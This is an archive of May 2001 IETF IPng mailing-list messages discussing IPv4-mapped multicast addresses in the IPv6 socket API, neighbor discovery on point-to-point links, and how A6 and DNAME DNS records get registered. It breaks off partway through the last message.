-------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 04:08:10 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42B89IM003636 for ; Wed, 2 May 2001 04:08:10 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42B897H003635 for ipng-dist; Wed, 2 May 2001 04:08:09 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42B80IM003628 for ; Wed, 2 May 2001 04:08:00 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA22960 for ; Wed, 2 May 2001 04:07:59 -0700 (PDT) From: Ronald.vanderPol@surfnet.nl Received: from survis.surfnet.nl (survis.surfnet.nl [192.87.108.3]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA06358 for ; Wed, 2 May 2001 04:07:58 -0700 (PDT) Received: from dhcp-wave2.surfnet.nl ([192.87.109.216]) by survis.surfnet.nl with ESMTP (exPP) id 14uuU8-0001dR-00; Wed, 2 May 2001 13:07:56 +0200 Date: Wed, 2 May 2001 13:07:26 +0200 (CEST) X-X-Sender: To: Antonio Querubin cc: Subject: Re: multicast IPv4-mapped IPv6 addresses/sockets In-Reply-To: Message-ID: Organisation: SURFnet bv Address: "Radboudburcht, P.O. Box 19035, 3501 DA Utrecht, NL" Phone: +31 302 305 305 Telefax: +31 302 305 329 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 2 May 2001, Antonio Querubin wrote: > I've run into a problem with converting multicast applications originally > designed for IPv4 to use IPv6 socket calls. Is there any set convention > for handling multicast IPv4 addresses mapped to IPv6 addresses? > (Apologies in advance if I'm asking the wrong mailing list - I'd already > posed this question to other IPv6 mailing lists but apparently am not > reaching the right people who might know the answers). ftp://playground.sun.com/pub/ipng/mail-archive/ipng.200009 and search for: "Subject: v4 mapped multicast addresses" rvdp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 04:20:57 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42BKvIM003682 for ; Wed, 2 May 2001 04:20:57 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42BKurf003681 for ipng-dist; Wed, 2 May 2001 04:20:56 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42BKfIM003667 for ; Wed, 2 May 2001 04:20:42 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA19178 for ; Wed, 2 May 2001 04:20:41 -0700 (PDT) Received: from burp.tkv.asdf.org (burp.tkv.asdf.org [212.16.99.49]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA15073 for ; Wed, 2 May 2001 05:46:25 -0600 (MDT) Received: (from msa@localhost) by burp.tkv.asdf.org (8.9.3/8.9.3/Debian 8.9.3-21) id OAA11770; Wed, 2 May 2001 14:31:04 +0300 Date: Wed, 2 May 2001 14:31:04 +0300 Message-Id: <200105021131.OAA11770@burp.tkv.asdf.org> From: Markku Savela To: tony@lava.net CC: ipng@sunroof.eng.sun.com In-reply-to: (message from Antonio Querubin on Wed, 2 May 2001 00:45:15 -1000 (HST)) Subject: Re: multicast IPv4-mapped IPv6 addresses/sockets References: Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > If this is not system-specific then it seems that the handling of > IPv4-mapped multicast addresses was something left out of either the IPv6 > socket API or perhaps an IPv4-mapped multicast address should be > explicitly defined? For example, 224.2.127.254 might be mapped to > ff0e::ffff:224.2.127.254 instead of ::ffff:224.2.127.254? Linux would > accept the first address but not the latter in a multicast socket call. In our IPv4/IPv6 stack (for EPOC) I was tentatively planning to handle any "::ffff:224.x.x.x" as "multicast" destination. Thus, the idea was that one could join and leave IPv4 multicast groups using the IPv6 API and plain IPv4 multicast addresses in IPv4-mapped format. Can anyone see any problems with this? -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 05:18:24 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42CINIM003822 for ; Wed, 2 May 2001 05:18:24 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42CINT1003821 for ipng-dist; Wed, 2 May 2001 05:18:23 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.france (bebop.France.Sun.COM [129.157.174.15] (may be forged)) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42CIBIM003814 for ; Wed, 2 May 2001 05:18:11 -0700 (PDT) Received: from lillen (lillen [129.157.212.23]) by bebop.france (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id OAA25540; Wed, 2 May 2001 14:18:04 +0200 (MET DST) Date: Wed, 2 May 2001 14:18:04 +0200 (CEST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: nonexisting destination on p2p link To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= Cc: ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jinmei, > 2. we'd also like to allow users to use the /64 prefix on the p2p link > just like an ethernet (i.e. broadcast) link. That is, when P/64 is > assigned to the link, users can assume there might be a node P:A on > the other end of the link for an arbitrary interface ID 'A', which > might be learned from DNS, off-line communication, some other > discovery mechanism, or even some misconfiguration or attacks. Doesn't this mean that you'd like the other end of the link have more than one interface ID? For the same reasons that folks use multiple interface IDs on a multi access interface it would make sense to allow that on pt-pt interfaces. If you allow this there is a possibility that the other end uses a very large number of interface IDs. Do you expect the two ends to somehow discover (manually?) all the interface IDs? Ignoring the DoS issue for a moment, there seems to be some utility in sending anything in the /64 (except perhaps the sender's IP addresses - different implementations seem to do that differently) across the pt-pt link since it allows the peer to have any number of interface IDs in the /64. *If* we want the above flexibility I don't think a simple sending rule can fix the DoS issue - I think we need something akin to sending an NS/NA pair across the link (even though that sounds a bit silly on a pt-pt link). Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 05:22:11 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42CMAIM003839 for ; Wed, 2 May 2001 05:22:10 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42CMAXq003838 for ipng-dist; Wed, 2 May 2001 05:22:10 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.france (bebop.France.Sun.COM [129.157.174.15] (may be forged)) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42CLwIM003831 for ; Wed, 2 May 2001 05:21:59 -0700 (PDT) Received: from lillen (lillen [129.157.212.23]) by bebop.france (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id OAA25877; Wed, 2 May 2001 14:21:52 +0200 (MET DST) Date: Wed, 2 May 2001 14:21:53 +0200 (CEST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: nonexisting destination on p2p link To: itojun@iijlab.net Cc: Tim Hartrick , ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" <5241.988763075@itojun.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > when there's linklayer address defined for the particular L2, > we don't do NS/NA (from the spec). please imagine ppp, or rfc1933 > tunnels. do you think it reasonable to run NS/NA in that case? > then, what kind of changes are necessary to NS/NA? Assuming we want to do this (which isn't clear to me yet), I don't think there are any changes needed to the packet formats and processing rules in RFC 2461. One question is whether such a NS should be multicast to the solicited node multicast address or unicast to the solicited address. Using multicast might be easier to implement since it follows the model for a broadcast medium more closely. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 05:28:24 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42CSOIM003866 for ; Wed, 2 May 2001 05:28:24 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42CSNsi003865 for ipng-dist; Wed, 2 May 2001 05:28:23 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.france (bebop.France.Sun.COM [129.157.174.15] (may be forged)) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42CS0IM003858 for ; Wed, 2 May 2001 05:28:04 -0700 (PDT) Received: from lillen (lillen [129.157.212.23]) by bebop.france (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id OAA26799; Wed, 2 May 2001 14:27:55 +0200 (MET DST) Date: Wed, 2 May 2001 14:27:56 +0200 (CEST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: nonexisting destination on p2p link To: itojun@iijlab.net Cc: Tim Hartrick , ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" <5812.988766899@itojun.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > NS/NA exchange over no-link-layer-address L2 is, yes, possible. > but i guess it require a lot of changes into RFC2461, and i fear it > is too much to ask at this stage. for example, i guess we would > need a lot of changes into wording about neighbor cache table. I just re-read the sections in 2461 about the conceptual neighbor cache and the NS/NA packet formats and I don't see one word that would need changing to allow what is being discussed. Sure, if and when we convince ourselves that we want to mandate using NS/NA in the /64 pt-pt interface case, then we should write that down somewhere. (But if we ever get to that point, it could be done as a separate short spec.) Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 05:30:07 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42CU7IM003882 for ; Wed, 2 May 2001 05:30:07 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42CU6cX003881 for ipng-dist; Wed, 2 May 2001 05:30:06 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42CTqIM003874 for ; Wed, 2 May 2001 05:29:52 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA10005 for ; Wed, 2 May 2001 05:29:53 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA16598 for ; Wed, 2 May 2001 06:55:48 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 572534B0B; Wed, 2 May 2001 21:29:42 +0900 (JST) To: Erik Nordmark Cc: ipng@sunroof.eng.sun.com In-reply-to: Erik.Nordmark's message of Wed, 02 May 2001 14:21:53 +0200. X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: nonexisting destination on p2p link From: itojun@iijlab.net Date: Wed, 02 May 2001 21:29:42 +0900 Message-ID: <14307.988806582@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >Assuming we want to do this (which isn't clear to me yet), I don't think >there are any changes needed >to the packet formats and processing rules in RFC 2461. >One question is whether such a NS should be multicast to the solicited node >multicast address or unicast to the solicited address. >Using multicast might be easier to implement since it follows the model >for a broadcast medium more closely. for example, RFC2461 7.2.4 1st paragraph does not really fit nicely with L2 without linklayer address. the rule for attaching target link-layer address option does not talk about cases on L2 without link-layer address. the text is very cryptic for non-english speaker like me, i really need a machine-readable rulesets :-) > in order for the solicitation to have been received. If the > solicitation's IP Destination Address is a multicast address, the > Target Link-Layer option MUST be included in the advertisement. now, we MUST attach a target link-layer address option in this case, but how? there will be a lot more examples like this. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 05:37:02 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42Cb1IM003939 for ; Wed, 2 May 2001 05:37:01 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42Cb1Dv003938 for ipng-dist; Wed, 2 May 2001 05:37:01 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.france (bebop.France.Sun.COM [129.157.174.15] (may be forged)) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42CanIM003931 for ; Wed, 2 May 2001 05:36:49 -0700 (PDT) Received: from lillen (lillen [129.157.212.23]) by bebop.france (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id OAA28226; Wed, 2 May 2001 14:36:44 +0200 (MET DST) Date: Wed, 2 May 2001 14:36:45 +0200 (CEST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: nonexisting destination on p2p link To: itojun@iijlab.net Cc: Erik Nordmark , ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" <14307.988806582@itojun.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > for example, RFC2461 7.2.4 1st paragraph does not really fit nicely > with L2 without linklayer address. And it doesn't match the statements in section 4.3 and 4.4 which say when the link-layer address options must and should be included. Those statements have the global exceptions for link-layers that don't have link-layer addresses. However, when editing the document the text got too unreadable if those exceptions where included everywhere where they apply. > the rule for attaching > target link-layer address option does not talk about cases on L2 > without link-layer address. > the text is very cryptic for non-english speaker like me, i really need > a machine-readable rulesets :-) It's machine readable - my computer can parse the ascii charcters and display them on the screen just fine. Perhaps you mean machine executable? :-) Erik > > in order for the solicitation to have been received. If the > > solicitation's IP Destination Address is a multicast address, the > > Target Link-Layer option MUST be included in the advertisement. > > now, we MUST attach a target link-layer address option in this case, > but how? there will be a lot more examples like this. > > itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 09:24:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42GOQIM004329 for ; Wed, 2 May 2001 09:24:27 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42GOQwL004328 for ipng-dist; Wed, 2 May 2001 09:24:26 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42GOGIM004321 for ; Wed, 2 May 2001 09:24:16 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA00158 for ; Wed, 2 May 2001 09:24:12 -0700 (PDT) Received: from df-inet1.exchange.microsoft.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA22782 for ; Wed, 2 May 2001 09:24:11 -0700 (PDT) Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by df-inet1.exchange.microsoft.com with Microsoft SMTPSVC(5.0.2195.2905); Wed, 2 May 2001 09:24:56 -0700 Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Wed, 02 May 2001 09:24:06 -0700 (Pacific Daylight Time) Received: from DF-MAX.platinum.corp.microsoft.com ([172.30.236.100]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Wed, 2 May 2001 09:24:05 -0700 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: RE: multicast IPv4-mapped IPv6 addresses/sockets X-MimeOLE: Produced By Microsoft Exchange V6.0.4703.0 Date: Wed, 2 May 2001 09:24:04 -0700 Message-ID: <5B90AD65A9E8934987DB0C8C076265740526712A@DF-BOWWOW.platinum.corp.microsoft.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: multicast IPv4-mapped IPv6 addresses/sockets Thread-Index: AcDTH+x1nmcaXUC1QqqiZJJ5pErLtQABvJHw From: "Dave Thaler" To: "Markku Savela" , Cc: X-OriginalArrivalTime: 02 May 2001 16:24:05.0825 (UTC) FILETIME=[4EA76310:01C0D324] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id f42GOHIM004322 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > -----Original Message----- > From: Markku Savela [mailto:msa@burp.tkv.asdf.org] > Sent: Wednesday, May 02, 2001 4:31 AM > To: tony@lava.net > Cc: ipng@sunroof.eng.sun.com > Subject: Re: multicast IPv4-mapped IPv6 addresses/sockets > > > > If this is not system-specific then it seems that the handling of > > IPv4-mapped multicast addresses was something left out of either the > IPv6 > > socket API or perhaps an IPv4-mapped multicast address should be > > explicitly defined? For example, 224.2.127.254 might be mapped to > > ff0e::ffff:224.2.127.254 instead of ::ffff:224.2.127.254? Linux would > > accept the first address but not the latter in a multicast socket call. > > In our IPv4/IPv6 stack (for EPOC) I was tentatively planning to handle > any "::ffff:224.x.x.x" as "multicast" destination. Thus, the idea was > that one could join and leave IPv4 multicast groups using the IPv6 API > and plain IPv4 multicast addresses in IPv4-mapped format. > > Can anyone see any problems with this? "::ffff:224.x.x.x" is not a multicast address, per WG consensus, since it doesn't start with ff... so you must not do that. There is no current specification that allows any type of v4-mapped multicast addresses, but in my opinion, ff0e::ffff:224.2.127.254 is a good way to specify it. -Dave -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 09:57:35 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42GvZIM004381 for ; Wed, 2 May 2001 09:57:35 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42GvY2g004380 for ipng-dist; Wed, 2 May 2001 09:57:34 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42GvPIM004373 for ; Wed, 2 May 2001 09:57:25 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA25660 for ; Wed, 2 May 2001 09:57:21 -0700 (PDT) Received: from burp.tkv.asdf.org (burp.tkv.asdf.org [212.16.99.49]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA27604 for ; Wed, 2 May 2001 09:57:17 -0700 (PDT) Received: (from msa@localhost) by burp.tkv.asdf.org (8.9.3/8.9.3/Debian 8.9.3-21) id UAA12126; Wed, 2 May 2001 20:08:03 +0300 Date: Wed, 2 May 2001 20:08:03 +0300 Message-Id: <200105021708.UAA12126@burp.tkv.asdf.org> From: Markku Savela To: dthaler@Exchange.Microsoft.com CC: tony@lava.net, ipng@sunroof.eng.sun.com In-reply-to: <5B90AD65A9E8934987DB0C8C076265740526712A@DF-BOWWOW.platinum.corp.microsoft.com> (dthaler@Exchange.Microsoft.com) Subject: Re: multicast IPv4-mapped IPv6 addresses/sockets Reply-to: Markku.Savela@iki.fi References: <5B90AD65A9E8934987DB0C8C076265740526712A@DF-BOWWOW.platinum.corp.microsoft.com> Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > "::ffff:224.x.x.x" is not a multicast address, per WG consensus, since > it doesn't start with ff... so you must not do that. I should have pointed out, that the stack implements both IPv4/IPv6, but all addressess are stored in IPv6 format, and all processing is uniform for both IPv4 and IPv6. Internally, IPv4 is using IPv4 mapped addresses. Thus, as far as I'm concerned, 224.x.x.x is same as ::ffff:224.x.x.x. I don't see any reason to differentiate between them. When I say I treat ::ffff:224.x.x.x as multicast, I'm just implementing IPv4 multicast as I should. The "non-conformant" part was whether I should accept IPv4 multicast operations that use the IPv6 multicast API (and was tentatively considering it a "feature" :) -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 14:50:00 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42LnxIM005116 for ; Wed, 2 May 2001 14:50:00 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42LnxE3005115 for ipng-dist; Wed, 2 May 2001 14:49:59 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42LnsIM005108 for ; Wed, 2 May 2001 14:49:54 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f42LkTW05817 for ipng@sunroof.eng.sun.com; Wed, 2 May 2001 14:46:29 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f3UKwKIM029574 for ; Mon, 30 Apr 2001 13:58:20 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA22972 for ; Mon, 30 Apr 2001 13:58:18 -0700 (PDT) Received: from imr1.ericy.com (imr1.ericy.com [208.237.135.240]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA21928 for ; Mon, 30 Apr 2001 13:58:17 -0700 (PDT) Received: from mr6.exu.ericsson.se. (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.10.2/8.10.2) with ESMTP id f3UKwJ828916 for ; Mon, 30 Apr 2001 15:58:20 -0500 (CDT) Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37]) by mr6.exu.ericsson.se. (8.11.3/8.11.3) with SMTP id f3UKwGL17602 for ; Mon, 30 Apr 2001 15:58:16 -0500 (CDT) Received: FROM eamrcnt761.exu.ericsson.se BY eamrcnt747.exu.ericsson.se ; Mon Apr 30 15:58:14 2001 -0500 Received: by eamrcnt761.exu.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Mon, 30 Apr 2001 15:58:14 -0500 Message-ID: <66F66129A77AD411B76200508B65AC694CBA41@eambunt705.ena-east.ericsson.se> From: "Bernie Volz (EUD)" To: "'namedroppers@ops.ietf.org'" , "'ipng@sunroof.eng.sun.com'" Cc: "'dhcp-v6@bucknell.edu'" Subject: A6 and DNAME Date: Mon, 30 Apr 2001 15:58:08 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0D1B8.4258AFF0" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0D1B8.4258AFF0 Content-Type: text/plain; charset="iso-8859-1" Hi: One more item to add to the recent discussion (which I've only partially followed) on A6 and DNAME records is ... how are they created and used in the first place? If one assumes that IPv6 addresses are automatically generated (either using autoconfiguration or DHCPv6), then how does an A6 record with non-0 prefix length ever get added in the first place? There hasn't been any method developed (that I'm aware of) to communicate to a client or DHCPv6 server that it should register these addresses under a given prefix. Also, if it were to do this, what happens if the prefix is multi-homed yet the address allocated to the client isn't (only one of the prefixes is in use)? This would significantly complicate clients and DHCPv6 servers since they may have to pull together several addresses before being able to register under the non-0 prefix? And the failure modes (such as not getting one address because of DAD or other reasons) are difficult to deal with. Same happens with the PTR records and DNAME ... how is the client or DHCPv6 server told to use a particular DNAME to register? Seems to me that most clients and DHCPv6 servers will register with the full 128-bits and therefore this fancy stuff won't be used anyway - since nothing will be in place to set it up. Sure, we could add a DHCPv6 option to communicate these details. But, what about when DHCPv6 isn't used and autoconfiguration is used? Sorry if this has already been raised as an issue and I missed it. - Bernie Volz ------_=_NextPart_001_01C0D1B8.4258AFF0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable A6 and DNAME

Hi:

One more item to add to the recent = discussion (which I've only partially followed) on A6 and DNAME records = is ... how are they created and used in the first place?

If one assumes that IPv6 addresses are = automatically generated (either using autoconfiguration or DHCPv6), = then how does an A6 record with non-0 prefix length ever get added in = the first place? There hasn't been any method developed (that I'm aware = of) to communicate to a client or DHCPv6 server that it should register = these addresses under a given prefix. Also, if it were to do this, what = happens if the prefix is multi-homed yet the address allocated to the = client isn't (only one of the prefixes is in use)? This would = significantly complicate clients and DHCPv6 servers since they may have = to pull together several addresses before being able to register under = the non-0 prefix? And the failure modes (such as not getting one = address because of DAD or other reasons) are difficult to deal = with.

